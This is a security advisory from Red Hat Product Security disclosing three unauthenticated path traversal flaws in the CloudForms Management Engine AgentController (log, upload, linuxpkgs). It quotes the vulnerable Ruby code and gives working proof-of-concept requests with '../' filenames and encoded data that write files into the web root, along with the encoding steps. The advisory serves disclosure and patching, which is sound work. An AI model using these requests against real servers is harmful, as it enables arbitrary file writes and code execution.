Ramon de C Valle (rcvalle) reports: Multiple path traversal exist within the 1) log method of AgentController controller of CFME. The log method can be accessed directly at http://host/agent/log. The log method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data. In vmdb/app/controllers/agent_controller.rb:56: data = MIQEncode.decode(params["data"]) file = File.join(proxy.logdir, params["filename"]) options = params["options"] $log.info "MIQ(agent-log): [#{options.inspect}]" unless params["options"].nil? File.delete(file) if File.exists?(file) $log.info "MIQ(agent-log): Create file: #{file}" File.open(file, "wb") {|f| f.write(data)} This vulnerability can be exploited by sending a specially crafted request containing a valid host guid that has at least one associated proxy. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory. https://host/agent/log?&id=8dfc29fe-a118-11e2-805c-005056920a2c&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw== Where id is a valid host guid that has at least one associated proxy, and data is encoded as follows: [rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m') => "eJwrKM9LTQEABokCHw==\n" irb(main):003:0> Additionaly, the file modification time can also be specified with the user-supplied mtime parameter which is set by the log method after the file is created. This could be used for hiding the file from searches for newly created files. 2) upload method of AgentController controller of CFME. The upload method can be accessed directly at http://host/agent/upload. The upload method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data. In vmdb/app/controllers/agent_controller.rb:102: file = File.join(mediadir, params["filename"]) md5 = Digest::MD5.hexdigest(data).to_s raise "upoload of file #{file} failed, md5 mismatch, expected #{params["md5"]}, got #{md5}" if params["md5"] != md5 $log.info "MIQ(agent-upload): Saving agent file: #{file}" File.delete(file) if File.exists?(file) $log.info "MIQ(agent-upload): Create file: #{file}" File.open(file, "wb") {|f| f.write(data); f.close} This vulnerability can be exploited by sending a specially crafted request containing a valid platform in the first 4 bytes of the data parameter, the MD5 checksum of the data parameter, and any numeric value as the agent version. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory. https://host/agent/upload?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJyrd/VxKyjPS00BABDkA3U=&md5=b131830a18266f83111d9149adb6451d&version=1 Where data is encoded as follows: [rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate("\x7f\x45\x4c\x46pwned")].pack('m') => "eJyrd/VxKyjPS00BABDkA3U=\n" And md5 as follows: irb(main):003:0> require 'digest/md5' => true irb(main):004:0> Digest::MD5.hexdigest("\x7f\x45\x4c\x46pwned") => "b131830a18266f83111d9149adb6451d" 3) linuxpkgs method of AgentController controller of CFME. The log method can be accessed directly at http://host/agent/linuxpkgs. The linuxpkgs method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data. In vmdb/app/controllers/agent_controller.rb:119: filename = params["filename"] datadir = File.join(File.expand_path(Rails.root), "data", "applications") Dir.mkdir datadir unless File.exists?(datadir) file = File.join(datadir, filename) data = MIQEncode.decode(params["data"]) md5 = Digest::MD5.hexdigest(data).to_s raise "upoload of file #{file} failed, md5 mismatch, expected #{params["md5"]}, got #{md5}" if params["md5"] != md5 File.delete(file) if File.exists?(file) $log.info "MIQ(agent-upload): Create file: #{file}" File.open(file, "wb") {|f| f.write(data); f.close} This vulnerability can be exploited by sending a specially crafted request containing the MD5 checksum of the data parameter. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory. https://host/agent/linuxpkgs?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==&md5=5e93de3efa544e85dcd6311732d28f95 Where data is encoded as follows: [rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m') => "eJwrKM9LTQEABokCHw==\n" And md5 as follows: irb(main):003:0> require 'digest/md5' => true irb(main):004:0> Digest::MD5.hexdigest('pwned') => "5e93de3efa544e85dcd6311732d28f95"
Please note that the zip file is unpacked after uploading meaning that arbitrary file creation and overwrite of file writable by the server server process is possible. Additionally code execution is possible.
Note that authentication also is not required for these resources.
This issue has been addressed in following products: Red Hat CloudForms Management Engine 2.0 Via RHSA-2013:1206 https://rhn.redhat.com/errata/RHSA-2013-1206.html
Acknowledgements: This issue was discovered by Ramon de C Valle of the Red Hat Product Security Team.